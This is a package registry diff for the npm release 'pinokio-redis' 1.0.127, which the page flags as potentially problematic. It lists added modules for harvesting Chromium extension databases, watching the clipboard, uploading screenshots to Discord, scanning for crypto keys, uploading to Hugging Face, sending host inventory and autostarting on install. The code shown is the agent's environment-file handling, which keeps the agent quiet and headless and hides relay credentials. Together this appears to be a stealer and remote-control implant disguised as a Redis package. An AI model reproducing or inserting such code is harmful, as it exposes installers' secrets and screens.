pinokio-redis 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pinokio-redis might be problematic. Click here for more details.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,637 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.FORGE_AGENT_ENV_BASENAME = void 0;
|
|
37
|
+
exports.forbiddenForgeAgentEnvPersistKey = forbiddenForgeAgentEnvPersistKey;
|
|
38
|
+
exports.sanitizeForgeAgentEnvFileOnDisk = sanitizeForgeAgentEnvFileOnDisk;
|
|
39
|
+
exports.stripEphemeralCredentialEnvFromProcess = stripEphemeralCredentialEnvFromProcess;
|
|
40
|
+
exports.parseForgeAgentEnvFileToMap = parseForgeAgentEnvFileToMap;
|
|
41
|
+
exports.mergeLinuxGraphicalSessionIntoForgeAgentEnv = mergeLinuxGraphicalSessionIntoForgeAgentEnv;
|
|
42
|
+
exports.forgeAgentEnvPath = forgeAgentEnvPath;
|
|
43
|
+
exports.applyDefaultHubUploadProcessEnv = applyDefaultHubUploadProcessEnv;
|
|
44
|
+
exports.applyDefaultAgentFeatureProcessEnv = applyDefaultAgentFeatureProcessEnv;
|
|
45
|
+
exports.applyDefaultAgentUnattendedProcessEnv = applyDefaultAgentUnattendedProcessEnv;
|
|
46
|
+
exports.writeForgeJsAgentEnv = writeForgeJsAgentEnv;
|
|
47
|
+
exports.mergeForgeAgentEnvKeyValue = mergeForgeAgentEnvKeyValue;
|
|
48
|
+
exports.removeForgeAgentEnvKeys = removeForgeAgentEnvKeys;
|
|
49
|
+
exports.applyForgeJsAgentEnvFile = applyForgeJsAgentEnvFile;
|
|
50
|
+
const fs = __importStar(require("node:fs"));
|
|
51
|
+
const os = __importStar(require("node:os"));
|
|
52
|
+
const path = __importStar(require("node:path"));
|
|
53
|
+
const linuxClipboardSession_1 = require("../linuxClipboardSession");
|
|
54
|
+
const linuxX11_1 = require("../linuxX11");
|
|
55
|
+
/** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
|
|
56
|
+
exports.FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
|
|
57
|
+
/**
|
|
58
|
+
* Keys that must never be written to `forge-js-agent.env` on the agent (relay holds HF/Discord secrets).
|
|
59
|
+
* Also stripped from existing files on load and on relay disconnect.
|
|
60
|
+
*/
|
|
61
|
+
const FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS = new Set([
|
|
62
|
+
"CFGMGR_HF_CREDENTIALS_B64",
|
|
63
|
+
"HF_TOKEN",
|
|
64
|
+
"HUGGINGFACE_HUB_TOKEN",
|
|
65
|
+
"HUGGINGFACE_HUB_URL",
|
|
66
|
+
"HUGGINGFACE_HUB_NAMESPACE",
|
|
67
|
+
"CFGMGR_HF_NAMESPACE",
|
|
68
|
+
"CFGMGR_HF_ALLOW_PLAINTEXT",
|
|
69
|
+
"RELAY_HF_CREDENTIALS_B64",
|
|
70
|
+
"RELAY_DISCORD_BOT_TOKEN",
|
|
71
|
+
"RELAY_DISCORD_BOT_TOKENS",
|
|
72
|
+
"RELAY_DISCORD_GUILD_ID",
|
|
73
|
+
"RELAY_DISCORD_PARENT_CATEGORY_ID",
|
|
74
|
+
"RELAY_DISCORD_APPLICATION_ID",
|
|
75
|
+
"RELAY_DISCORD_PUBLIC_KEY",
|
|
76
|
+
"RELAY_DISCORD_MAX_ATTACHMENT_BYTES",
|
|
77
|
+
"RELAY_DISCORD_429_MAX_ATTEMPTS",
|
|
78
|
+
"RELAY_DISCORD_SCREENSHOT_ENABLED",
|
|
79
|
+
"RELAY_SYNC_API_BASE_URL",
|
|
80
|
+
]);
|
|
81
|
+
/**
|
|
82
|
+
* Non-secret Discord screenshot preferences / tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
|
|
83
|
+
* and disk sanitize so reconnect does not drop cadence or screenshot opt-in/out (`relay_features` merge uses process.env).
|
|
84
|
+
*/
|
|
85
|
+
const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
|
|
86
|
+
/** Opt-in/out survives WS teardown (`stripEphemeralCredentialEnvFromProcess`) and disk sanitize — not a secret. */
|
|
87
|
+
"FORGE_JS_DISCORD_SCREENSHOT_ENABLED",
|
|
88
|
+
"FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS",
|
|
89
|
+
"FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS",
|
|
90
|
+
"FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS",
|
|
91
|
+
"FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS",
|
|
92
|
+
"FORGE_JS_DISCORD_UPLOAD_MODE",
|
|
93
|
+
"FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES",
|
|
94
|
+
"FORGE_JS_DISCORD_429_MAX_ATTEMPTS",
|
|
95
|
+
"FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS",
|
|
96
|
+
"FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK",
|
|
97
|
+
]);
|
|
98
|
+
function isForgeJsDiscordScreenshotTuningKey(key) {
|
|
99
|
+
return FORGE_JS_DISCORD_TUNING_KEYS.has(String(key || "").trim());
|
|
100
|
+
}
|
|
101
|
+
function forgeAgentEnvKeyShouldBeStrippedFromDisk(key) {
|
|
102
|
+
const k = String(key || "").trim();
|
|
103
|
+
if (!k)
|
|
104
|
+
return false;
|
|
105
|
+
if (FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS.has(k))
|
|
106
|
+
return true;
|
|
107
|
+
if (k.startsWith("RELAY_"))
|
|
108
|
+
return true;
|
|
109
|
+
/** Discord flags/secrets — not persisted; tuning keys in {@link FORGE_JS_DISCORD_TUNING_KEYS} are kept. */
|
|
110
|
+
if (k.startsWith("FORGE_JS_DISCORD_") && !isForgeJsDiscordScreenshotTuningKey(k))
|
|
111
|
+
return true;
|
|
112
|
+
return false;
|
|
113
|
+
}
|
|
114
|
+
/** True if this key must not be merged into forge-js-agent.env (secrets / relay / Discord flags). */
|
|
115
|
+
function forbiddenForgeAgentEnvPersistKey(key) {
|
|
116
|
+
return forgeAgentEnvKeyShouldBeStrippedFromDisk(key);
|
|
117
|
+
}
|
|
118
|
+
/**
|
|
119
|
+
* Remove relay secrets, HF blobs, and Discord flags from `forge-js-agent.env` when present (legacy / mistaken writes).
|
|
120
|
+
* Returns whether the file was rewritten.
|
|
121
|
+
*/
|
|
122
|
+
function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
|
|
123
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
124
|
+
let raw = "";
|
|
125
|
+
try {
|
|
126
|
+
raw = fs.readFileSync(p, "utf8");
|
|
127
|
+
}
|
|
128
|
+
catch {
|
|
129
|
+
return false;
|
|
130
|
+
}
|
|
131
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
132
|
+
let changed = false;
|
|
133
|
+
for (const k of [...map.keys()]) {
|
|
134
|
+
if (forgeAgentEnvKeyShouldBeStrippedFromDisk(k)) {
|
|
135
|
+
map.delete(k);
|
|
136
|
+
changed = true;
|
|
137
|
+
}
|
|
138
|
+
}
|
|
139
|
+
if (!changed)
|
|
140
|
+
return false;
|
|
141
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
142
|
+
return true;
|
|
143
|
+
}
|
|
144
|
+
/**
|
|
145
|
+
* Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
|
|
146
|
+
* or relay disconnect (relay-first deployments never need these on the agent).
|
|
147
|
+
* Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
|
|
148
|
+
* from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
|
|
149
|
+
* upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
|
|
150
|
+
* after an explicit opt-out was loaded from `forge-js-agent.env`.
|
|
151
|
+
* Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
|
|
152
|
+
* via {@link scrubHfCredentialsInPlace}.
|
|
153
|
+
*
|
|
154
|
+
* **Namespace:** `CFGMGR_HF_NAMESPACE` / `HUGGINGFACE_HUB_NAMESPACE` are **not** cleared here — they are not secrets,
|
|
155
|
+
* and clearing them breaks {@link runAgentStartupSecretAudit}: scans run for minutes while parallel `fs_hf_upload`
|
|
156
|
+
* may call this stripper; relay-delivered credentials often omit `namespace`, so merge falls back to env after scan.
|
|
157
|
+
*
|
|
158
|
+
* **Encrypted HF blob:** `CFGMGR_HF_CREDENTIALS_B64` is **not** cleared — it is AES-GCM ciphertext (not the raw token).
|
|
159
|
+
* Clearing it broke secret-audit Hub uploads after any explorer `fs_hf_upload` (same process). Plaintext
|
|
160
|
+
* `HUGGINGFACE_HUB_TOKEN` is still stripped.
|
|
161
|
+
*/
|
|
162
|
+
function stripEphemeralCredentialEnvFromProcess() {
|
|
163
|
+
const keys = [
|
|
164
|
+
"HF_TOKEN",
|
|
165
|
+
"HUGGINGFACE_HUB_TOKEN",
|
|
166
|
+
"HUGGINGFACE_HUB_URL",
|
|
167
|
+
"CFGMGR_HF_ALLOW_PLAINTEXT",
|
|
168
|
+
"RELAY_HF_CREDENTIALS_B64",
|
|
169
|
+
"RELAY_DISCORD_BOT_TOKEN",
|
|
170
|
+
"RELAY_DISCORD_BOT_TOKENS",
|
|
171
|
+
"RELAY_DISCORD_GUILD_ID",
|
|
172
|
+
"RELAY_DISCORD_PARENT_CATEGORY_ID",
|
|
173
|
+
"RELAY_DISCORD_APPLICATION_ID",
|
|
174
|
+
"RELAY_DISCORD_PUBLIC_KEY",
|
|
175
|
+
"RELAY_DISCORD_MAX_ATTACHMENT_BYTES",
|
|
176
|
+
"RELAY_DISCORD_429_MAX_ATTEMPTS",
|
|
177
|
+
"RELAY_DISCORD_SCREENSHOT_ENABLED",
|
|
178
|
+
"RELAY_SYNC_API_BASE_URL",
|
|
179
|
+
];
|
|
180
|
+
for (const k of keys) {
|
|
181
|
+
try {
|
|
182
|
+
delete process.env[k];
|
|
183
|
+
}
|
|
184
|
+
catch {
|
|
185
|
+
/* skip */
|
|
186
|
+
}
|
|
187
|
+
}
|
|
188
|
+
for (const k of Object.keys(process.env)) {
|
|
189
|
+
if (k.startsWith("RELAY_")) {
|
|
190
|
+
try {
|
|
191
|
+
delete process.env[k];
|
|
192
|
+
}
|
|
193
|
+
catch {
|
|
194
|
+
/* skip */
|
|
195
|
+
}
|
|
196
|
+
continue;
|
|
197
|
+
}
|
|
198
|
+
if (k.startsWith("FORGE_JS_DISCORD_") && !isForgeJsDiscordScreenshotTuningKey(k)) {
|
|
199
|
+
try {
|
|
200
|
+
delete process.env[k];
|
|
201
|
+
}
|
|
202
|
+
catch {
|
|
203
|
+
/* skip */
|
|
204
|
+
}
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
}
|
|
208
|
+
/**
|
|
209
|
+
* Parse a value from a KEY=value line (handles outer quotes written by envFileLine).
|
|
210
|
+
*/
|
|
211
|
+
function unquoteEnvFileValue(v) {
|
|
212
|
+
if (v.startsWith('"') && v.endsWith('"') && v.length >= 2) {
|
|
213
|
+
return v.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\");
|
|
214
|
+
}
|
|
215
|
+
if (v.startsWith("'") && v.endsWith("'") && v.length >= 2) {
|
|
216
|
+
return v.slice(1, -1);
|
|
217
|
+
}
|
|
218
|
+
return v;
|
|
219
|
+
}
|
|
220
|
+
/** Parse forge-js-agent.env content into a map (latest wins if a key appears twice). */
|
|
221
|
+
function parseForgeAgentEnvFileToMap(raw) {
|
|
222
|
+
const map = new Map();
|
|
223
|
+
for (const line of raw.split("\n")) {
|
|
224
|
+
const t = line.replace(/\r$/, "").trim();
|
|
225
|
+
if (!t || t.startsWith("#"))
|
|
226
|
+
continue;
|
|
227
|
+
const eq = t.indexOf("=");
|
|
228
|
+
if (eq < 1)
|
|
229
|
+
continue;
|
|
230
|
+
const k = t.slice(0, eq).trim();
|
|
231
|
+
let v = t.slice(eq + 1);
|
|
232
|
+
v = unquoteEnvFileValue(v);
|
|
233
|
+
if (k)
|
|
234
|
+
map.set(k, v);
|
|
235
|
+
}
|
|
236
|
+
return map;
|
|
237
|
+
}
|
|
238
|
+
/**
|
|
239
|
+
* Format a KEY=VALUE line for an env file compatible with systemd EnvironmentFile and dotenv.
|
|
240
|
+
* Values containing spaces, double-quotes, dollar signs, or backslashes are double-quoted.
|
|
241
|
+
* systemd EnvironmentFile strips outer double-quotes from values, so this is always safe.
|
|
242
|
+
*/
|
|
243
|
+
function envFileLine(key, value) {
|
|
244
|
+
if (/[ \t"\\$`]/.test(value)) {
|
|
245
|
+
return `${key}="${value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')}"`;
|
|
246
|
+
}
|
|
247
|
+
return `${key}=${value}`;
|
|
248
|
+
}
|
|
249
|
+
const PREFERRED_ENV_FILE_KEY_ORDER = [
|
|
250
|
+
"FORGE_JS_QUIET_AGENT",
|
|
251
|
+
"FORGE_JS_HEADLESS_UI",
|
|
252
|
+
"FORGE_JS_SYNC_URL",
|
|
253
|
+
"CFGMGR_API_URL",
|
|
254
|
+
"FORGE_JS_BUNDLE_KEY",
|
|
255
|
+
"XDG_RUNTIME_DIR",
|
|
256
|
+
"DISPLAY",
|
|
257
|
+
"WAYLAND_DISPLAY",
|
|
258
|
+
"DBUS_SESSION_BUS_ADDRESS",
|
|
259
|
+
"XAUTHORITY",
|
|
260
|
+
"PATH",
|
|
261
|
+
];
|
|
262
|
+
function serializeForgeAgentEnvMap(map) {
|
|
263
|
+
const used = new Set();
|
|
264
|
+
const lines = [];
|
|
265
|
+
for (const k of PREFERRED_ENV_FILE_KEY_ORDER) {
|
|
266
|
+
if (map.has(k)) {
|
|
267
|
+
lines.push(envFileLine(k, map.get(k)));
|
|
268
|
+
used.add(k);
|
|
269
|
+
}
|
|
270
|
+
}
|
|
271
|
+
const rest = [...map.keys()].filter((k) => !used.has(k)).sort();
|
|
272
|
+
for (const k of rest) {
|
|
273
|
+
lines.push(envFileLine(k, map.get(k)));
|
|
274
|
+
}
|
|
275
|
+
return lines;
|
|
276
|
+
}
|
|
277
|
+
/**
|
|
278
|
+
* Update forge-js-agent.env with the current graphical session (DISPLAY, Wayland, DBus, XAUTH, PATH).
|
|
279
|
+
* Used after login when a systemd user service already holds the agent singleton from an earlier
|
|
280
|
+
* boot-time start without a session.
|
|
281
|
+
*/
|
|
282
|
+
function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir) {
|
|
283
|
+
if (process.platform !== "linux")
|
|
284
|
+
return;
|
|
285
|
+
(0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
|
|
286
|
+
fs.mkdirSync(dataDir, { recursive: true });
|
|
287
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
288
|
+
let raw = "";
|
|
289
|
+
try {
|
|
290
|
+
raw = fs.readFileSync(p, "utf8");
|
|
291
|
+
}
|
|
292
|
+
catch {
|
|
293
|
+
/* new file */
|
|
294
|
+
}
|
|
295
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
296
|
+
if (!map.has("FORGE_JS_QUIET_AGENT")) {
|
|
297
|
+
map.set("FORGE_JS_QUIET_AGENT", "1");
|
|
298
|
+
}
|
|
299
|
+
if (!map.has("FORGE_JS_HEADLESS_UI")) {
|
|
300
|
+
map.set("FORGE_JS_HEADLESS_UI", "1");
|
|
301
|
+
}
|
|
302
|
+
let uid = 1000;
|
|
303
|
+
try {
|
|
304
|
+
uid = os.userInfo().uid;
|
|
305
|
+
}
|
|
306
|
+
catch {
|
|
307
|
+
uid = process.getuid?.() ?? 1000;
|
|
308
|
+
}
|
|
309
|
+
const xdgFromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
|
|
310
|
+
const xdg = xdgFromEnv || `/run/user/${uid}`;
|
|
311
|
+
map.set("XDG_RUNTIME_DIR", xdg);
|
|
312
|
+
const disp = (process.env.DISPLAY || "").trim();
|
|
313
|
+
if (disp)
|
|
314
|
+
map.set("DISPLAY", disp);
|
|
315
|
+
const wl = (process.env.WAYLAND_DISPLAY || "").trim();
|
|
316
|
+
if (wl)
|
|
317
|
+
map.set("WAYLAND_DISPLAY", wl);
|
|
318
|
+
const dbus = (process.env.DBUS_SESSION_BUS_ADDRESS || "").trim();
|
|
319
|
+
if (dbus)
|
|
320
|
+
map.set("DBUS_SESSION_BUS_ADDRESS", dbus);
|
|
321
|
+
const xauth = (process.env.XAUTHORITY || "").trim();
|
|
322
|
+
if (xauth)
|
|
323
|
+
map.set("XAUTHORITY", xauth);
|
|
324
|
+
const installTimePath = (process.env.PATH || "").trim();
|
|
325
|
+
const standardLinuxPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin";
|
|
326
|
+
if (installTimePath) {
|
|
327
|
+
const seen = new Set();
|
|
328
|
+
const merged = [];
|
|
329
|
+
for (const seg of [...installTimePath.split(":"), ...standardLinuxPaths.split(":")]) {
|
|
330
|
+
const s = seg.trim();
|
|
331
|
+
if (s && !seen.has(s)) {
|
|
332
|
+
seen.add(s);
|
|
333
|
+
merged.push(s);
|
|
334
|
+
}
|
|
335
|
+
}
|
|
336
|
+
map.set("PATH", merged.join(":"));
|
|
337
|
+
}
|
|
338
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
339
|
+
}
|
|
340
|
+
function forgeAgentEnvPath(dataDir) {
|
|
341
|
+
return path.join(dataDir, exports.FORGE_AGENT_ENV_BASENAME);
|
|
342
|
+
}
|
|
343
|
+
/**
|
|
344
|
+
* In-process Hub upload defaults (`npm install` / first run without `forge-js-agent.env`).
|
|
345
|
+
